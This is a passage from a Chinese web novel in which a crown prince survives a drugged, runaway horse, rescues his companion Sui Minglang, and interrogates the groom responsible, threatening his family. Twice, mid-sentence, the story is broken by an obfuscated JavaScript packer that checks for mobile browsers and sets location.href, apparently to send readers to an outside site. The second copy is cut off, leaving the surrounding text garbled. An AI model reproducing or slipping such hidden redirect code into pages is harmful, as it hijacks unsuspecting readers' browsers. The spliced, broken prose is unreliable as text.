马场主事则是瞪大双眼:“殿下,这,这如何使得?这是您专用的马,如此贵重,岂能……” 顾温冷冷地扫他一眼:“需要你来教孤做事?” 主事连忙俯首:“臣不敢!” 顾温翻身下马,看着隋明朗道:“初学者才需要骑这种性情温良的马,孤用不着,你只管骑,孤去骑你的马便是。” 隋明朗不再推辞:“谢殿下。” 不远处,看见这一幕的某个马夫顿时慌了神:谋害伴读和谋害殿下,这可是截然不同的罪! 然而,马已经都牵给四位伴读了,现在就只剩下这一匹有问题的马!自己眼下没有任何理由去换马,否则就是明着告诉在场所有人,自己有问题! 怎么办怎么办怎么办…… 马夫急得满头大汗,脑中一片空白,直到主事大人从同乡手中牵走那匹有问题的马,交给太子,他仍立在原地一动不动,不知该如何是好。 顾温脚尖一点,潇洒利落地上了马。 “王将军,要不要再比一场?” 顾温看着下方的人。 “殿下神骑,末将自叹不如。” 禁军队长抱拳道。 “没意思,下次换你们首领来。” 顾温一甩马鞭,扬长而去。 “明朗,殿下待你可真好,连自己的马都赠给你骑了。” 方邵元操纵着马,走过来笑道。 隋明朗心中莫名高兴,又莫名紧张,反驳道:“方兄可别乱说,若是让殿下或是其他人听到了,说不定要治罪的。” 方邵元笑道:“所以我这不是悄悄地和你一个人说嘛。” “你俩说什么悄悄话呢。” 宁为远与李承奇也过来了。 “没什么没什么。” 方邵元笑道:“诸位,殿下如此神骑,咱们几个当伴读的,也不能丢了殿下的脸才是。” 他正要跃马向前,忽听得身侧马场主事与禁军队长同时大叫不好,紧接着便看见二人同时翻身上马,迅速朝着太子殿下的方向追去。 方邵元疑惑道:“怎么了?” 伴读们全都不明所以。 方邵元又去问其他禁军:“怎么了?你们队长怎么忽然上马了?” 最前头的那名禁军结结巴巴地道:“好、好像是,太子殿下的马忽然发了狂,彻底不受控制了!!” “什么!?” 众人俱是一惊。 若是太子殿下出了事,他们这群人,上至伴读,中至禁军,下至服侍在马场的奴才,哪个逃得了责任? 隋明朗没想这些,而是喃喃道:“殿下骑的是我的马,是因为和我换了马才……” “驾!” 此刻,他全然忘了自己才刚开始学习骑马,奋力一扬马鞭,朝前方追去。 “明朗!” 方邵元等人也紧跟着追上。 原地只剩下一群无马可追、焦虑不安的禁军,以及一个满脸迷茫不知发生了何事、一个战战兢兢等待命运裁决的马夫。 18.第 18 章 “该死!是谁干的好事。” 顾温不断地尝试勒住缰绳,却无论如何也不能令这匹马停下。 马场地势空旷,短时间这样狂奔倒是无虞,但他若没记错,一直这么跑下去,很快就会跑进树林。 “得想个法子才行。” 他望着前方眯了眯眼。 后方,禁军队长疾驰狂追,却只能望见漫天尘土飞扬,而殿下的身影在尘土中竟是渐渐消失了——同品种的马,正常情况下的速度自然比不上发狂时的速度。 他心急如焚。 这种速度,无论是闯入森林,还是强行落地,最好的情况也是身受重伤,若是运气不好,很可能就…… 届时,他这个护卫队长绝对也保不住性命。 可恨!这群该死的马夫怎么照顾的马?等会儿非扒了他们的皮不可! “驾!” 他重重地甩着马鞭。 这时,一骑白马从身边飞快掠过。 禁军队长:“?” 马场主事:“?” 隋明朗亦是用力地甩着马鞭:“驾!快点,到你主人身边去!” 隋明朗骑的乃是专属于当朝太子的坐骑,除了性情更温良以外,当它真正以最快的速度朝前疾驰时,速度也远非马场上的这些普通马可比。 隋明朗虽不会骑马,却知道怎样用力地甩马鞭,太子殿下的马是一直朝前跑的,自己只要也保持一样的方向即可。 最前头,顾温已经想好了计策。 他逐渐勒紧缰绳。 等到即将离开这片马场、又还没抵达树林的区域时,他会猛地用尽全部力气,将缰绳往左拉,强行扭转马的跑向——此时马的耐力已有所消耗,有相当程度成功的可能。 尽管自己大概会被甩下来,并且未必一定能躲开马蹄的踩踏,受伤在所难免,但,不至于危及性命。 快了,就在前头了。 顾温逐渐做好准备。 这时,耳边忽地传来一股稚嫩的、熟悉的、清朗的少年音。 “殿下!” “太子殿下!” 顾温回头一瞧,当即怔住:他不会骑马,竟能…… “太子殿下……” 隋明朗眼瞅着就要自己就要追赶上了,却不知道接下来该怎么做,自己如果不勒紧缰绳的话,可能就要超过去了。 速度好快。 实话说,他有点害怕。 □□的白马不知是感受到了隋明朗的情绪,还是闻到了主人的气息,发出一声欢快的嘶鸣。 顾温高声对后面的人道:“屁股往前挪一挪,然后保持不动,能做到吗?” 隋明朗道:“我能。” 从全力往前疾驰的快马背上落地,风险太高。但若是落到身侧速度相差不大的另一匹马背上…… 顾温高声道:“身体向前伏,抓紧缰绳!” 隋明朗乖乖照做。 顾温双脚发力,猛地跃起,在空中一个侧翻,便稳稳地落到了隋明朗身后的那片区域。 由于白马快速奔跑中猛然承受到更多的力量,它双蹄控制不住地高高抬起。 “啊!” 隋明朗才刚开始学习骑马,从方才到现在,几乎可以说一直是在凭本能做事,哪里面对得了现下这种情况。缰绳当即脱了手,从马背上甩了出去。 顾温还没完全落稳,见状伸手抓住他的肩膀,二人一起滚了下去。 此时白马已完全停了下来。 顾温知道隋明朗毫无经验,于是紧紧抱住他,落地后,他们在草地上翻了几个滚终于才停下。 顾温看着身下的人。 肤色本就很雪白,方才因为惊惧,便显得更白了。却又因为过于紧张,使得脸颊上微微泛着一抹红晕。 经历了如此惊险的一幕,对方呼吸急促,重重地喘息着,清俊的面容却没有因此黯淡半分。 顾温莫名感觉心头有股燥热,下意识地滚动了一下喉咙。 身下的人眨了眨眼:“殿下,您没事儿吧?有没有受伤?” 顾温迅速站好:“我没事。” 他朝躺在地上的隋明朗伸出一只手,隋明朗迟疑片刻,搭上这只手,借力起身。 顾温问:“你呢?有没有哪里疼?” 隋明朗摇头:“我也没事。” 顾温道:“等会回了马场,还是要让太医仔仔细细地检查一翻。” 隋明朗点点头说好。 两人一时沉默。 禁军队长与马场主事匆匆赶到。 “吁!” 禁军队长紧张地问询道:“太子殿下!殿下您怎么样?有没有受伤?” 顾温道:“孤没事。” 马场主事则是对着隋明朗骂道:“都是你这小子!要是让殿下有个三长两短,你全族的命也赔不起!” 还没反应过来,他便被顾温一脚踹翻在地:“隋明朗追上来救了孤!教训他,你想死吗,嗯?” 马场主事顾不上屁股疼,赶忙爬过来:“末将知错!末将一时情急,这才……求殿下恕罪!” 顾温淡淡道:“你求错人了。” 马场主事连忙对着隋明朗磕头:“隋公子,方才我口不择言,望公子大人不记小人过,替……” 隋明朗忙道:“殿下,他也是关心您,才责问于我,求殿下不要怪罪他。” 顾温道:“好了,起来吧。” 马场主事连道:“谢殿下!谢隋小公子!” 顾温吩咐道:“王将军,等会去找人验验那匹马,看看是个什么情况。” 禁军队长抱拳道:“是,殿下!” 顾温一个翻身,身手利索上了白马。 他冲隋明朗伸手。 “上来。” 隋明朗啊了一声:“殿下?” 顾温淡淡道:“那匹马已经没了,这里离营地那么远,你是想自己走回去,还是让孤走回去?” 禁军队长开口道:“殿下,末将身体强健,可以……” 顾温一记冷冷的眼刀甩过去。 禁军队长立刻闭嘴。 就这样,隋明朗坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15125098|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了太子殿下的前头。太子殿下双手从他腰间经过,控制缰绳,返回马场营帐。 隋明朗有点紧张,又有点害羞,一句话也不说。 顾温也没说话。 二人只默默感受风的声音、风的清爽,以及,彼此身体的温度。 马场营帐处。 众人远远地便瞧见太子殿下与隋明朗共乘一骑,朝这边而来,几乎个个目瞪口呆。 “到了。” 顾温翻身下了马,又朝隋明朗伸手,隋明朗在众目睽睽之下,在太子殿下的辅助下,下了马。 “。” 就挺那啥的。 方邵元笑着上前:“殿下,看到您没事,我们就都放心了。太医已提前候着了,不然,以防万一,殿下还是检查一下身体?” 顾温颔首,允太医搭脉。 诊了片刻,太医抱拳笑道:“恭喜殿下,殿下脉象稳健,非但身体安然无恙,且体魄强健。” 顾温吩咐道:“给他也看一下。” “是。” 太医走至隋明朗身前,再次搭脉。 片刻后,太医道:“这位公子也并无受伤,只是……有些体虚。” 顾温皱眉道:“体虚?” 太医道:“殿下放心,也不是什么大问题,以后只需在饮食上多注意些,同时早睡早起,每日进行适当的运动,便会恢复正常了。” 顾温道:“那你给他开点药膳吧,回头交给东宫的人,以后每次用膳时单独给他上一份。” 太医道:“是,殿下。” “琐事处理完了,该做正事了。” 顾温冷冷地扫了一圈周围的人,语气不怒自威:“把马场所有人都喊过来,孤要挨个、亲自审问。” 隋明朗看着马场上各色各样的人都被集中了过来。 他知道,如果不是因为临时换马,自己或许已经没命了——他可没有殿下那样的骑术。 有置自己于死地的动机,同时也有能力在皇家马场做手脚的,似乎只有一个人,更准确地说,是一座府邸——身份贵重、权势滔天的安国公府。 隋明朗感到忧心忡忡。 凭郡主娘娘的能耐,能让人查出结果吗? 即使查出,郡主娘娘由太后亲自抚养长大,且是和当今圣上一起长大,纵使是殿下,真能将她如何吗? 他本以为殿下为自己亲自去了国公府走了一趟,双方之间的恩怨便到此结束了,未曾料到,对方不仅还是想报复,并且是想杀了自己。 此事过后,对方岂非更加视自己为眼中钉?他们是郡主和国公,反观自己…… “放心。” 太子殿下用不大不小,恰好他一个人可以听见的声音如此说道。 隋明朗微微一怔。 尽管他觉得,即使是太子殿下,也未必就能真的将郡主如何,然而此时此刻,这两个字却莫名地,有一种令人感到温暖和安心的力量。 隋明朗先前的那些个担忧和困扰,一瞬之间消失得干干净净,就如同旭日东升,扫尽了长夜的寒冷。 19.第 19 章 “说吧,谁指使你这么做的?” 顾温冷冷地看着下方跪在地上的马夫,仿佛在看一个死人。 “小、小人冤枉,小人没有。” 马夫瑟瑟发抖。 “冤枉?” 禁军队长二话不说给了他一拳:“支开喂马的人偷偷下药,如此就想要将此事嫁祸给对方——坐井观天,你以为你那点技俩能瞒过谁?” 马夫跪在地上,用早就想好的说辞战战兢兢道:“小人冤枉!小人只是、只是听错了,然后替他看了一下马。也可能是别人干的,没有证据就是小人干的,小人实在冤枉!” “孤想杀谁,不需要证据。” 倏地一声,顾温拔剑,架在了马夫的脖子上:“孤可没有多少耐心。” 马夫只是继续口喊冤枉,表情愈渐麻木起来。 “视死如归?很好,相当好。” 顾温竟莫名地露出了笑容,这令在场所有人都感到一丝诡异,下一秒,顾温剑身一转,狠狠刺入马夫的右手。 “啊——” 马夫当即痛苦地哀嚎起来。 顾温道:“孤不会杀你,孤会在你的身体刺上几十剑,并请太医保住你的性命,然后找来刑司的人,把世上各种酷刑都在你身上施展一遍。” 马夫吸着凉气,浑身发抖,却没有开口的意思。 “王将军。” “末将在!” 顾温命令道:“去,给我查查这个人的底细,任何与他有关的人,不管是父母、妻子、子女,还是什么师徒、姨舅的,全都给我抓起来,下狱刑审!” 马夫猛地一惊,他不顾自己手上的伤口,着急地道:“殿下,此事是小人一人所为!小人想害的不是您,是隋明朗。隋府曾经欺负小人,小人气不过,又得知隋明朗在东宫伴读,想杀了他泄愤,才做出今日的事,这与小人的家人不相干啊!” “哦?这是临时想好的?” 马夫先是摇头,再重重磕头:“太子殿下,小人所言句句属实啊!” “好吧,孤权当你说的是真的。” 顾温居高临下地看着他,目光冰冷:“可你最后害到的不是隋明朗,而是孤。谋害储君,你可知,这是怎样的罪?” 谋、谋害储君? 马夫大脑一片空白,是了,最终是太子骑了喂了药的马,这可不就是谋害储君的罪? “若这罪只你一人担着。” “三族之内,父、己、子,全都得死。至于其他和你亲近的,死罪可免,活罪难逃。” 全都得死。 这四个字宛如一击重锤,狠狠地砸在马夫的胸口,令他难以呼吸。 若是连活着都不能了,那还谈何读书,谈何摆脱下等人的身份? “殿下!求殿下开恩啊!” 顾温不耐烦地道:“拖出去吧。连同他的家人,一起处死。” 禁军队长上前将他拖走。 “殿下!殿下!” “殿下,小人全都说!是有人指使小人这么干的!” “慢着。” 顾温抬抬手,禁军队长立刻又将马夫提了过来。 他跪在地上,瑟瑟发抖,似乎想要开口,却又什么也没说。 顾温看着他,冷冷道:“谋害储君,你这条命是活不了了。但若你肯招出幕后之人,当作证人举告立功,那么,你的家人不仅会平安无事,孤还会赏他们一笔钱。” 马夫迟疑地道:“可、可要是……” 顾温不耐烦地道:“在这京城之中,孤要保的人,谁敢动,谁就得死。” 马夫哆嗦着道:“是、是国公府的人!” 禁军队长道:“还不快细细说来。” 马夫一五一十地道:“不久前,小人的儿子因为在街上冲撞了一位贵人,差点被下狱,幸亏一名年轻女子过来,喝退了对方。后来,那女子说,若是小人肯替她做好这件事,她就给小人的儿子去正经学堂读书的机会,还会给小人很多钱财。” “你如何得知她是国公府的人?” 马夫道:“小人也怕受人蒙骗,曾经找了个小乞丐偷偷跟踪她,亲眼见她进了安国公府才放心……” 顾温嗤笑一声:“你倒是不蠢。” 他对禁军队长道:“去通知京兆府尹,告诉他:此案不难查,若他不能在日落之前确定这名女子的身份,禀报东宫,明日一早就可以从京兆府滚蛋了。” “你带这名马夫前去协助,记着,他若出了事,当不了证人,孤唯你是问。” 禁军队长领命:“是,殿下!” 他就要带着马夫去京兆府。 “殿下,他的手一直在流血。” 隋明朗出声道:“无论他最后是不是一定要死,至少现在,能否请人给他包扎一下?” 顾温看他片刻,抬了抬下巴。 营帐内的太医收到命令,立刻上前开始替这名马夫处理伤口。 “包扎好了,我们走吧。” 禁军队长拎起马夫,翻身上马,匆匆朝城内奔去。 “主事。” 马场主事连忙上前:“臣在。” 顾温命令道:“看好马场里的人,天黑之前,一个都不许离开,免得有人提前通风报信。若是有人来马场,无论是谁,谢绝会客。” 马场主事道:“是,殿下!” 顾温又看向禁军副队长:“管好你的人,若是让孤知道从禁军这里传出了消息,哼。” 对方下跪保证道:“殿下放心,禁军只效忠于圣上。既然储君有令,除非圣上亲自开口,否则绝不会有人能撬开禁军的嘴。” 顾温袖子一甩,转头出了营帐。 “回宫。” 伴读与禁军们纷纷跟上。 东宫。 今日没有功课,跟着太子回到东宫后,伴读们就可以各自返回自己的房间了。 “明朗明朗,和殿下共乘一骑的感觉如何?” 方邵元调侃着问道。 李承奇拍他肩膀:“明朗,你可真是惊呆了我们!上一刻还坐在马背上几乎不敢动弹,下一刻就以那么快的速度追了过去,我们几个都还没反应过来呢。” 宁为远笑道:“虽然今天很危险,好在有惊无险,反而还因祸得福——就凭你救了殿下一命,以后必定会有个好前程了!我明显感觉今天殿下对你和以往不同了。” 隋明朗立刻否认道:“什么救了殿下,是殿下救了我……若不是殿下将他的马让给我骑,我就会骑上那匹发狂的马,我没有殿下那样的骑术,这会儿已经去见阎王了。” 隋明朗的话,令其他三人沉默起来。 是的,马夫说的话已经很清楚了:不是有人要谋害太子殿下,而是有人想杀隋明朗。并且,这个人,还是清平郡主。 方邵元沉吟道:“明朗,你要做好心理准备。即使太子殿下有心想为你撑腰,这件事最后的结果,有可能也是不了了之。” 没等隋明朗说话,宁为远先开口了:“这是为何?” 清平郡主的确风光无限,可那也得看和谁比。 或许史书中也有太子日日如履薄冰,但当今的太子殿下绝对与此无关。 圣上子嗣稀薄,如今在世的总共只有四位皇子。其中,大皇子天生残疾,三皇子性子软弱,且生母位份卑贱,而六皇子又年纪太小。 太子殿下虽说也有喜怒不定、性情暴戾的传言,却是出身高贵、文武双全,且先皇后生前乃圣上挚爱。 朝野上下,无人不知圣上对太子殿下的宠爱。 方邵元叹道:“最后查出那女子是国公府的又如何?郡主既派此人,此人必是郡主心腹,哪怕在圣上面前,恐怕也会一人扛下罪名。换作常人,心里确认了,不需要证据,殿下也可将其正法。然而对于郡主,除非有确凿的证据,否则……” 方邵元话锋一转,又道:“不过,明朗你也可以放心,就算郡主最后不会受到什么实质性的惩罚,此事闹得这么大,她日后也决计不敢再对你出手了,否则就是在公然打太子殿下的脸。” 隋明朗点点头。 他自小就知道,人从一出生起,就已经被划分成了三六九等。身份的差别是一道鸿沟,处在低等的人,要很努力很努力,甚至付出代价,才有可能往上爬升一些。 有的时候,这种代价是生命。 因此,即使是对那位马夫,隋明朗依旧抱有同情之心。如果可以,他希望太子殿下可以留马夫一命,再给对方一次重新来过的机会。 李承奇听了也没说话。 他和明朗一样,比上不足,比下有余。中远伯府已经没落,需要靠他来重振祖上的荣光。 气氛一时沉重,没有人说话了。 隋明朗主动笑道:“你们干嘛,怎么一个个看起来都很不开心的样子?其实,我从来也没想过要报复谁,若是从此就能与郡主娘娘井水不犯河水,对我来说,这是再好不过的结果了!” 方邵元笑道:“也是,我们家明朗的心地向来是最善良的了。” 宁为远拧眉:“你家?” 方邵元本想继续玩笑似地说一句对啊,猛然想起什么,立刻改口道:“没有没有,你听错了,我说的是:好人家。” 宁为远点头:“噢噢。” 隋明朗心道:我刚刚也听错了?大概他刚才的确口齿不清了吧。 “写文章吧!” 方邵元提议道:“之前一直忙着寿宴的事,寿宴前先生留的作业还没写呢。我已经让小厮在东宫门口候着了,一旦京兆府尹来信,他会立刻过来告诉我,到时候咱们再过去看情况即可。” 于是,众人一不做二不休,开始原地写作业。 就这么过了大约一个时辰,方邵元的小厮匆匆跑来:“公子,京兆府尹亲自带人跟王将军来了东宫。” “这么快?” 方邵元笑道:“果然涉及到了乌纱帽,向来以喜欢和稀泥著称的京兆府都能神速办案。” “这帮百姓官,真是可恨!” 宁为远此时想起了某个好友的经历,愤愤道:“看来往日他们都是故意的了!官员之子尚且难以在京兆府获得公平,更谈何普通百姓?在其位,当谋其政,如此看碟下菜来办案,朝廷的名声都被这些人给败坏了!” 方邵元摇头道:“在京城办案可不容易啊!指不定就得罪哪方神圣。不过,到底是皇城脚下,他们也不敢太过分,真要是什么六月飞雪的冤案,给京兆府尹一百个胆子,也不敢这么做。” 李承奇道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隋明朗缓缓道:“自古君尊臣卑,主荣臣幸。若是为了替臣主持公道,却令殿下您名声受损,惹出非议,臣百死莫赎!” 顾温沉默片刻:“你们都起来吧。” “谢殿下。” “谢殿下。” 隋明朗与郭公公同时起身。 顾温道:“罢了,既然你们都认为此举不妥,那孤便兼听则明一回。王将军,张府尹,你们带上人证物证,随孤去父皇和太后面前,与清平郡主当面对质。” 二人只能齐声道:“是,殿下。” 隋明朗等人目送着殿下带人进了圣上所在的福宁殿。 宁为远道:“明朗,殿下竟然要在圣上面前当面与郡主对质。” 方邵元则道:“你这竟然的不对,应该是:明朗,你竟然能劝得殿下改变主意。” 隋明朗道:“你们别老打趣我了,殿下都说了,是因为兼听则明,才会改变主意的。” 方邵元和宁为远都笑了。 兼听则明?这话是不错,可是在你之前,也没听说过殿下愿意兼听则明啊。 李承奇忽得道:“听!是不是有什么声音?” “嗯?”方邵元道:“那个方向好像是通往太医署的,虽然不是后宫……” 隋明朗本不是爱凑热闹的人,但是,此时此刻,他也不知道自己是怎么回事儿,心里有种奇怪的感觉,就是很想过去一下。 他道:“我想过去看看。” 宁为远道:“那就去吧!反正不是去后宫,问题不大。” 李承奇则道:“闲着也是闲着。” 四人一起过去。 “偷学医术就算了,还敢在李大人面前出风头,就这么想往上爬吗!” “就是!知不知道你被送进宫里是干嘛的?你配学医吗?” “一个已经没根的家伙,哈哈哈哈,难不成还想当太医?” “今天非得打死你不可!” “别打了,我错了!我再也不敢了!饶了我这一次吧!” 不断哀嚎求饶,身上承受的拳打脚踢却丝毫不减,少年的目光渐渐变得绝望。 他想起了父母在世的时候,家境虽不算富裕,但也不愁吃喝,一家人在一起,每日都开开心心的。 还有表弟明朗。 父母不在,世上便只剩这一个亲人了。 不知道明朗现在在隋府怎么样了。 有那样一个嫡母,日子应该不会很好过。 不过,明朗向来聪明,姑父也是好人,日子应该也不会难到哪里去。无论如何,总不至于像自己这么糟糕。 可惜,自己临死之前,不能再见明朗和姑姑最后一面…… 意识模糊间,他好像真的看见了明朗。 可是,这里是皇宫,怎么可能呢?这就是人死前的走马观花么…… “你们给我住手!” 当他看见那张熟悉中又略带有一丝陌生的面容越来越近,努力撑起身体,试图分辨这究竟是真实还是虚幻时,意识却再也坚持不下去,两眼一黑,昏了过去。